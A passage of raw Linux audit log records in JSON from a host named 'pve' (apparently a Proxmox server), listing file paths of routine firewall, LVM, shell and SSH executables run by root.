rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795830,"@rawstring":"node=pve type=PATH msg=audit(1781964795.830:62636): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795825,"@rawstring":"node=pve type=PATH msg=audit(1781964795.825:62635): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795825,"@rawstring":"node=pve type=PATH msg=audit(1781964795.825:62635): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795818,"@rawstring":"node=pve type=PATH msg=audit(1781964795.818:62634): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795818,"@rawstring":"node=pve type=PATH msg=audit(1781964795.818:62634): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795812,"@rawstring":"node=pve type=PATH msg=audit(1781964795.812:62633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795812,"@rawstring":"node=pve type=PATH msg=audit(1781964795.812:62633): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795806,"@rawstring":"node=pve type=PATH msg=audit(1781964795.806:62632): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795806,"@rawstring":"node=pve type=PATH msg=audit(1781964795.806:62632): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795800,"@rawstring":"node=pve type=PATH msg=audit(1781964795.800:62630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795800,"@rawstring":"node=pve type=PATH msg=audit(1781964795.800:62630): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795795,"@rawstring":"node=pve type=PATH msg=audit(1781964795.795:62629): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795795,"@rawstring":"node=pve type=PATH msg=audit(1781964795.795:62629): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795789,"@rawstring":"node=pve type=PATH msg=audit(1781964795.789:62628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795789,"@rawstring":"node=pve type=PATH msg=audit(1781964795.789:62628): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795784,"@rawstring":"node=pve type=PATH msg=audit(1781964795.784:62627): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795784,"@rawstring":"node=pve type=PATH msg=audit(1781964795.784:62627): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795778,"@rawstring":"node=pve type=PATH msg=audit(1781964795.778:62626): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795778,"@rawstring":"node=pve type=PATH msg=audit(1781964795.778:62626): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795773,"@rawstring":"node=pve type=PATH msg=audit(1781964795.773:62625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795773,"@rawstring":"node=pve type=PATH msg=audit(1781964795.773:62625): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795766,"@rawstring":"node=pve type=PATH msg=audit(1781964795.766:62624): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795766,"@rawstring":"node=pve type=PATH msg=audit(1781964795.766:62624): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795760,"@rawstring":"node=pve type=PATH msg=audit(1781964795.760:62623): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795760,"@rawstring":"node=pve type=PATH msg=audit(1781964795.760:62623): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795757,"@rawstring":"node=pve type=PATH msg=audit(1781964795.757:62622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795757,"@rawstring":"node=pve type=PATH msg=audit(1781964795.757:62622): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795754,"@rawstring":"node=pve type=PATH msg=audit(1781964795.754:62621): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795754,"@rawstring":"node=pve type=PATH msg=audit(1781964795.754:62621): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795752,"@rawstring":"node=pve type=PATH msg=audit(1781964795.752:62620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795752,"@rawstring":"node=pve type=PATH msg=audit(1781964795.752:62620): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795752,"@rawstring":"node=pve type=PATH msg=audit(1781964795.752:62619): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795748,"@rawstring":"node=pve type=PATH msg=audit(1781964795.748:62618): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795748,"@rawstring":"node=pve type=PATH msg=audit(1781964795.748:62618): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795748,"@rawstring":"node=pve type=PATH msg=audit(1781964795.748:62618): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795741,"@rawstring":"node=pve type=PATH msg=audit(1781964795.741:62617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795741,"@rawstring":"node=pve type=PATH msg=audit(1781964795.741:62617): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795735,"@rawstring":"node=pve type=PATH msg=audit(1781964795.735:62616): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795735,"@rawstring":"node=pve type=PATH msg=audit(1781964795.735:62616): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795730,"@rawstring":"node=pve type=PATH msg=audit(1781964795.730:62615): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795730,"@rawstring":"node=pve type=PATH msg=audit(1781964795.730:62615): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795724,"@rawstring":"node=pve type=PATH msg=audit(1781964795.724:62614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795724,"@rawstring":"node=pve type=PATH msg=audit(1781964795.724:62614): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795718,"@rawstring":"node=pve type=PATH msg=audit(1781964795.718:62613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795718,"@rawstring":"node=pve type=PATH msg=audit(1781964795.718:62613): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=PATH msg=audit(1781964795.675:62612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=PATH msg=audit(1781964795.675:62612): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=PATH msg=audit(1781964795.675:62611): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=PATH msg=audit(1781964795.675:62610): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=PATH msg=audit(1781964795.667:62609): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=PATH msg=audit(1781964795.667:62609): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=PATH msg=audit(1781964795.667:62608): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=PATH msg=audit(1781964795.667:62607): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964794932,"@rawstring":"node=pve type=PATH msg=audit(1781964794.932:62606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964794932,"@rawstring":"node=pve type=PATH msg=audit(1781964794.932:62606): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964794898,"@rawstring":"node=pve type=PATH msg=audit(1781964794.898:62605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964794898,"@rawstring":"node=pve type=PATH msg=audit(1781964794.898:62605): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=PATH msg=audit(1781964790.659:62604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=PATH msg=audit(1781964790.659:62604): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=PATH msg=audit(1781964790.659:62603): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=PATH msg=audit(1781964790.659:62602): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=PATH msg=audit(1781964790.652:62601): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=PATH msg=audit(1781964790.652:62601): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=PATH msg=audit(1781964790.652:62600): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=PATH msg=audit(1781964790.652:62599): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964786581,"@rawstring":"node=pve type=PATH msg=audit(1781964786.581:62598): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964786581,"@rawstring":"node=pve type=PATH msg=audit(1781964786.581:62598): item=0 name=\"/usr/lib/openssh/sshd-auth\" inode=290861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964786568,"@rawstring":"node=pve type=PATH msg=audit(1781964786.568:62597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964786568,"@rawstring":"node=pve type=PATH msg=audit(1781964786.568:62597): item=0 name=\"/usr/lib/openssh/sshd-session\" inode=290862 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785706,"@rawstring":"node=pve type=PATH msg=audit(1781964785.706:62596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785706,"@rawstring":"node=pve type=PATH msg=audit(1781964785.706:62596): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PATH msg=audit(1781964785.703:62595): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PATH msg=audit(1781964785.703:62595): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PATH msg=audit(1781964785.703:62594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PATH msg=audit(1781964785.703:62594): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PATH msg=audit(1781964785.703:62593): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785700,"@rawstring":"node=pve type=PATH msg=audit(1781964785.700:62592): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785700,"@rawstring":"node=pve type=PATH msg=audit(1781964785.700:62592): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785700,"@rawstring":"node=pve type=PATH msg=audit(1781964785.700:62592): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785693,"@rawstring":"node=pve type=PATH msg=audit(1781964785.693:62591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785693,"@rawstring":"node=pve type=PATH msg=audit(1781964785.693:62591): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785687,"@rawstring":"node=pve type=PATH msg=audit(1781964785.687:62590): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785687,"@rawstring":"node=pve type=PATH msg=audit(1781964785.687:62590): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785681,"@rawstring":"node=pve type=PATH msg=audit(1781964785.681:62589): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785681,"@rawstring":"node=pve type=PATH msg=audit(1781964785.681:62589): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785673,"@rawstring":"node=pve type=PATH msg=audit(1781964785.673:62588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785673,"@rawstring":"node=pve type=PATH msg=audit(1781964785.673:62588): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785668,"@rawstring":"node=pve type=PATH msg=audit(1781964785.668:62586): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785668,"@rawstring":"node=pve type=PATH msg=audit(1781964785.668:62586): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785663,"@rawstring":"node=pve type=PATH msg=audit(1781964785.663:62585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785663,"@rawstring":"node=pve type=PATH msg=audit(1781964785.663:62585): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785657,"@rawstring":"node=pve type=PATH msg=audit(1781964785.657:62584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785657,"@rawstring":"node=pve type=PATH msg=audit(1781964785.657:62584): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785651,"@rawstring":"node=pve type=PATH msg=audit(1781964785.651:62583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 